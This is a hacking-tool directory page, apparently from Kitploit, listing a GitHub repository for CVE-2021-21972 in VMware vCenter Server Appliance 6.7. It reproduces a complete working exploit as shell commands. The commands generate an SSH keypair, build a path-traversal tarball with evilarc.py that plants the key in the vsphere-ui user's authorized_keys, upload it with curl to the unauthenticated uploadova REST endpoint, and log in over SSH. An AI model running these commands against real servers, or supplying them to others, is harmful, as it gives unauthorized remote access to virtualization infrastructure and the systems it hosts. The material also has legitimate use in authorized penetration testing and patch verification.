Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-21972 — CVE-2021-21972 | Kitploit
Tools/GitHubGitHub/renini/cve-2021-21972
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubrenini/cve-2021-21972

CVE-2021-21972

CVE-2021-21972

View Repository
25 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-21972

CVE-2021-21972

Tested against VMware VCSA 6.7

create ssh keypair

root@kitploit:~
ssh-keygen -t rsa -f vcsa.key -N ''

create tarbal with ../../../../../home/vsphere-ui/.ssh/authorized_keys

root@kitploit:~
python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova

upload evil.ova to the vropspluginui uploadova rest endpoint

root@kitploit:~
curl -k -A "" --form "[email protected];type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"

ssh to vcsa with the added authorized key

root@kitploit:~
ssh -i vcsa.key vsphere-ui@$VCSA_IP
Download Tool